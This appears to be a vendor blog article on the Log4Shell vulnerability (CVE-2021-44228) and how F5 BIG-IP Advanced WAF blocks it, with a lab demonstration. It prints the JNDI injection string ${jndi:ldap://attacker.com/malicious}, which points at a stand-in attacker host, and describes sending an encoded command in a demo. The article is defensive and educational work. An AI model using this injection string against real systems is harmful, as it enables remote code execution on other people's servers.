Mitigating Log4j Vulnerability using F5 BIG-IP

Introduction

In December 2021, a critical vulnerability in Apache Log4j, one of the most widely used logging libraries in software development, sent shockwaves across the cybersecurity world. Known as Log4Shell, this vulnerability (CVE-2021-44228) allowed attackers to remotely execute code on servers and take full control of affected systems. The flaw was found in Log4j 2, a library used by millions of applications across industries to record logs, making it an urgent issue for both developers and security professionals.

How Log4j Works

Log4j allows developers to configure how log messages are captured, formatted, and outputted. The library has many features that can include variable substitution, which allows log messages to contain dynamic content. One of the powerful features of Log4j (and many other logging libraries) is the ability to interpolate values dynamically. For example, if a developer wanted to log the system’s environment, they might use a placeholder like ${env} to dynamically fetch that value.

This dynamic interpolation of values allows Log4j to pull in information from various sources (e.g., environment variables, system properties, or user inputs) when logging messages. This dynamic feature, however, became the root cause of the vulnerability.

The Vulnerability – JNDI Lookup

The specific flaw in Log4j resides in its ability to perform Java Naming and Directory Interface (JNDI) lookups. JNDI is a Java API that allows applications to access various resources, such as databases, remote servers, and other services. Log4j's dynamic behaviour allowed it to interpret JNDI lookup patterns in log messages.

Here’s how it works:

If a log message contains a string like ${jndi:ldap://attacker.com/malicious}, Log4j would treat it as a JNDI lookup and attempt to fetch a resource from the specified address (ldap://attacker.com/malicious).
The problem arises because JNDI can be used to remotely reference Java objects and classes. If the attacker provides a specially crafted URL pointing to a malicious resource (like a remote server they control), Log4j would execute the code provided by that server.
This is a remote code execution (RCE) vulnerability, as the attacker can effectively execute arbitrary code on the vulnerable system.

Example

An attacker could send a request to a Log4j vulnerable server with a malicious HTTP header or input field containing ${jndi:ldap://attacker.com/malicious}.If this input is logged by a vulnerable instance of Log4j (i.e., any version before Log4j 2.16.0), Log4j would process the string and attempt to perform a JNDI lookup. The attacker’s server at attacker.com is set up to respond with a payload. For example, it could respond with a malicious Java class or JavaScript code.

When Log4j tries to process the JNDI lookup, it will reach out to the attacker’s server, download the malicious class, and execute it. This could lead to complete system compromise, where the attacker can execute arbitrary code on the server and potentially gain full control.

Attack Demonstration :

For this demonstration we are going to use a custom built application with Log4j vulnerability. This application is added as a pool member to BIG-IP and can be accessed via virtual server. For more information on how to configure a pool refer to how to add pool member .

For the attack demo we have our own LDAP server deployed and for the attack to work the payload should be sent in base 64 encoded format .

Now let’s send a http request to the application with command “touch youarehacked.txt” in base64 encoded format as part of our JNDI payload pointing towards our LDAP server.

The attack ran successfully as the file “youarehacked.txt” got created in our target server

Mitigation using BIG-IP Advanced WAF:

Login to BIG-IP console, Navigate to Security > Application Security > Security Policies > and create an application policy with below configurations.

Policy Template : Rapid Deployment Policy

Enforcement mode: Blocking

Signature Staging: Enabled

Policy Building Learning Mode: Automatic

Virtual Sever: < Virtual server on which juice shop application is accessible>

Other configs are set to default values

Note: Staging is enabled by default while creating the application security policy and default staging period is 7 days. It can be tuned according to the customer requirement. For more information related to staging refer to Attack Signatures & Staging.

Let’s re-trigger the attack now and as you can see the attack is failed since the request got rejected by F5 Advanced WAF.

Advanced WAF events log also shows that the request was rejected since it is a Threat Campaign initiated to exploit the Log4j vulnerability. For further details regarding Threat Campaigns , please refer to Threat Campaigns

Conclusion:

This article throws some light on the Apache Log4j vulnerability (CVE-2021-44228) and how attackers can exploit this vulnerability by injecting malicious JNDI strings into input fields, HTTP headers, API requests, etc. Finally we also provided solution how we can protect it using F5 Advanced WAF.